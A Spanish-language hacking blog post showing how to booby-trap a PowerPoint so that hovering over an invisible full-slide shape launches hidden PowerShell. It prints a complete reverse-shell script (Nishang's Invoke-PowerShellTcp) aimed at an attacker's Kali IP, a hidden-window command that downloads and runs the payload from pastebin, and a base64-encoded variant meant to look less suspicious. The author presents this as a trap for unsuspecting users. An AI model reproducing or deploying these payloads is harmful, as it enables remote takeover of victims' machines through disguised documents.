Meterpreteando un PowerPoint

Holaaaaaa amigos, hace bien poco, estuve leyendo una noticia en "The Hacker News", sobre un malware que se repartía a través de un powerpoint (http://thehackernews.com/2017/06/microsoft-powerpoint-malware.html).
La noticia dice algo así como que los atacantes, pueden hacer que un usuario se descargue un malware sin ni si quiera clickar en nada. Razón lleva, pero también dice, que al usuario se le muestra un pop up, alertando sobre que power point quiere ejecutar blah,blah,blah...

Bien, hoy Fare9, os trae, como "Meterpretear", un power point... En realidad vamos a coger un netcat con powershell, y hacer que este se ejecute. Daremos las gracias a mi compañero Alberto, que me ha ayudado bastante con esto.

Lo primero que haremos será por supuesto, un pequeño ejemplo, en el cual simplemente mostraremos por pantalla, algo sencillo, para mostrar las capacidades.


Abriremos, por lo tanto un Power Point, totalmente vacío:


Ahora insertaremos una forma, que ocupe toda la pantalla y esté en blanco, para ello iremos a insertar -> Formas, y escogeremos el rectángulo:

Lo dicho cogemos la rectangular, y seleccionamos casi toda la diapositiva, así no hará falta que el usuario se dirija directamente a un objeto en concreto, sino que al mover el ratón por la pantalla un poco:
Bien, aquí la imagen de la forma en toda la diapositiva, la dejaré en azul para que se note mejor, pero se puede cambiar el color en "Relleno de forma". La cosa es ponerlo que no se note nada raro :) :) :) :)....


Ahora seguido, seleccionaremos con el ratón este objeto, iremos a "Insertar" en las pestañas de arriba, e iremos a "Acción"
A la derecha tenemos acción, al abrir tenemos algo como esto:
Iremos directos a "Pasar el mouse por encima", y seleccionaremos el radio button de "Ejecutar programa", seguido escribiremos en su respectiva caja lo siguiente:

powershell -c "echo Holaaaaa, artemaniacos; sleep 10"

Con esto cuando el usuario vea el powershell y permita la ejecución, le saldrá un powershell con un "hola artemaniacos" y dejaremos 10 segundos para que se pueda apreciar.

Vamos a ejecutar poniendo la diapositiva y a mover el ratón un poco por encima:

lo primero que veremos es esta alerta de seguridad:

Haremos de usuario "buen intencionado", y habilitaremos, si windows permite habilitar será por algo, entonces nos encontraremos con esto:

Como vemos, tenemos un powershell, con el texto introducido.

Ahora iremos un paso de gigante más allá, obtendremos un netcat en powershell, y haremos un reverse shell con una máquina kali, para que tenga el placer de conocer lo que es una powershell remota. Para ello usaremos la siguiente shell o "netcat" perteneciente al framework nishang.

Pero la tunearemos un poco, para ello cambiaremos todas las comillas dobles, por simples (por si usamos las dobles fuera), luego quitaremos todo espacio y quitaremos todos los comentarios, seguidamente a todas las sentencias, tendremos que ponerle ; para poder unirlas así a porrillo, quedará algo tal que así:

function Invoke-PowerShellTcp
{
    [CmdletBinding(DefaultParameterSetName='reverse')] Param(
        [Parameter(Position = 0, Mandatory = $true, ParameterSetName='reverse')]
        [Parameter(Position = 0, Mandatory = $false, ParameterSetName='bind')]
        [String]
        $IPAddress,
        [Parameter(Position = 1, Mandatory = $true, ParameterSetName='reverse')]
        [Parameter(Position = 1, Mandatory = $true, ParameterSetName='bind')]
        [Int]
        $Port,
        [Parameter(ParameterSetName='reverse')]
        [Switch]
        $Reverse,
        [Parameter(ParameterSetName='bind')]
        [Switch]
        $Bind
    )
    if ($Reverse)
    {
        $client = New-Object System.Net.Sockets.TCPClient($IPAddress,$Port);
    }
    if ($Bind)
    {
        $listener = [System.Net.Sockets.TcpListener]$Port;
        $listener.start();
        $client = $listener.AcceptTcpClient();
    }
    $stream = $client.GetStream();
    [byte[]]$bytes = 0..255|%{0};
    $sendbytes = ([text.encoding]::ASCII).GetBytes('Fare9 PowerShell running as user ' + $env:username + ' on ' + $env:computername + '`n');
    $stream.Write($sendbytes,0,$sendbytes.Length);
    $sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>');
    $stream.Write($sendbytes,0,$sendbytes.Length);
    while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
    {
        $EncodedText = New-Object -TypeName System.Text.ASCIIEncoding;
        $data = $EncodedText.GetString($bytes,0, $i); 
        $sendback = (Invoke-Expression -Command $data 2>&1 | Out-String );
        $sendback2  = $sendback + 'PS ' + (Get-Location).Path + '> ';
        $x = ($error[0] | Out-String);
        $error.clear();
        $sendback2 = $sendback2 + $x;
        $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
        $stream.Write($sendbyte,0,$sendbyte.Length);
        $stream.Flush(); 
    }
    $client.Close();
    $listener.Stop();
}

Bien, como veis, todas las sentencias tienen un ; al final para poder ponerlos a choclon, y no hay espacios en blanco, ya que ahora lo que habrá que hacer es ir linea a linea, quitar el salto de linea para dejarlo todo en la misma (no hagáis replace, que peta, tampoco es mucho). Al final (y para que no tengáis que hacer mucho) sale un chocloquen así de código:

function Invoke-PowerShellTcp {[CmdletBinding(DefaultParameterSetName='reverse')] Param([Parameter(Position = 0, Mandatory = $true, ParameterSetName='reverse')][Parameter(Position = 0, Mandatory = $false, ParameterSetName='bind')][String]$IPAddress,[Parameter(Position = 1, Mandatory = $true, ParameterSetName='reverse')][Parameter(Position = 1, Mandatory = $true, ParameterSetName='bind')][Int]$Port,[Parameter(ParameterSetName='reverse')][Switch]$Reverse,[Parameter(ParameterSetName='bind')][Switch]$Bind)if ($Reverse){$client = New-Object System.Net.Sockets.TCPClient($IPAddress,$Port);}if ($Bind){$listener = [System.Net.Sockets.TcpListener]$Port; $listener.start();$client = $listener.AcceptTcpClient();} $stream = $client.GetStream();[byte[]]$bytes = 0..255|%{0};$sendbytes = ([text.encoding]::ASCII).GetBytes('Fare9 PowerShell running as user ' + $env:username + ' on ' + $env:computername + '`n');$stream.Write($sendbytes,0,$sendbytes.Length);$sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>');$stream.Write($sendbytes,0,$sendbytes.Length);while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$EncodedText = New-Object -TypeName System.Text.ASCIIEncoding;$data = $EncodedText.GetString($bytes,0, $i);  $sendback = (Invoke-Expression -Command $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (Get-Location).Path + '> ';$x = ($error[0] | Out-String);$error.clear();$sendback2 = $sendback2 + $x;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush();  }$client.Close();$listener.Stop();}

Todo claro está, en la misma línea, ahora al final después de la segunda llave, vamos a poner esto:
Invoke-PowerShellTcp -Reverse -IPAddress 192.168.1.163 -Port 4444

Siendo la IPAddress, la de vuestra máquina Kali:

  
Metemos el ; después de la última llave, para que powershell lo tome como otro comando a ejecutar. 
Finalmente, y para no tener que dar ningún archivo junto con el power point, meteremos el "payload" en pastebin, así el cliente se lo descargará antes de ejecutarlo, y lo meteremos en un rico RAW:
 Payload

Finalmente, tendremos que poner el comando que ejecutará el cliente, el cual se meterá en el powerpoint. El comando será algo así:

powershell -windowstyle hidden -c " $data =  (New-Object System.Net.WebClient).DownloadString('https://pastebin.com/raw/DyAXZ0ac'); powershell -windowstyle hidden $data"

Con -windowstyle hidden, lo que hacemos es que la shell no esté constantemente en pantalla, desaparecerá:
  
Pues esto será lo que añadiremos en el powerpoint como acción.
  
 



Nos tocará en nuestra kali, poner un netcat a escuchar:


Ahora entonces queda ejecutar el powerpoint, y que el usuario caiga en nuestra trampa:


Bien, al arrancar y pasar el ratón, pues pasa lo mismo, la advertencia:
Como un buen usuario de windows, debemos habilitar claro está, si no, nos quedamos sin propiedades importantes de un archivo. Y al momento aparece durante un instante un powershell, el cual desaparece entre la bruma, y miramos en nuestra kali y mira que tenemos:

UOOOOOOOOOOOOOOOOOO una shell, desde un powerpoint, SIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII. Además es un powershell, mucho mejor que una CMD de esas cacas. UOOOOOOOOOOOOOOOOOOOO.

######################## ACTUALIZACIÓN

Podemos ir más allá, y para que no parezca tan coherente, podemos encodear el payload en base64, subirlo a pastebin igual, y ejecutarlo como antes.
Para encodear haremos lo siguiente, abrimos powershell y escribimos:
$data =  (New-Object System.Net.WebClient).DownloadString('https://pastebin.com/raw/DyAXZ0ac') # obtenemos el payload sin encodear
$Bytes = [System.Text.Encoding]::Unicode.GetBytes($data)
$EncodedText = [Convert]::ToBase64String($Bytes) # lo pasamos a base64
$EncodedText > encodeado.txt # lo metemos en un archivo
notepad encodeado.txt


Ahora tendremos algo así:
Ahora lo subimos a pastebin: https://pastebin.com/raw/ybxwvgAh

Y hacemos que el powerpoint ejecute lo siguiente:


powershell -windowstyle hidden -c " $data =  (New-Object System.Net.WebClient).DownloadString('https://pastebin.com/raw/ybxwvgAh'); powershell -windowstyle hidden -encodedcommand $data"

Tenemos que pasar por lo mismo de antes, por la advertencia y por la ejecución, pero aquí tenemos otra vez una shell con el payload encodeado:


Bueno más o menos os he enseñado como meter una powershell netcat dentro de un PowerPoint, tanto Power, tanto Power, y tanto obtener y obtener el Power, vamos a celebrarlo con una cancioncita: Gimme the power - Molotov

Nos veremos pronto en el siguiente de 0 a exploiting que estoy preparando, y por lo demás, ya sabéis donde podéis encontrarme.
Si te gustó el Post, compártelo y si quieres saber todas las chorradas que suelo decir sígueme en mi twitter: Fare9 Twitter.

Y como dije, agradecimientos a mi compañero Alberto, por ayudarme a llevar esto a la práctica y darme la idea de subirlo a un pastebin.

Un saludo a todos los aficionados a la informática y al hacking.

Share this

Related Posts

Previous
Next Post »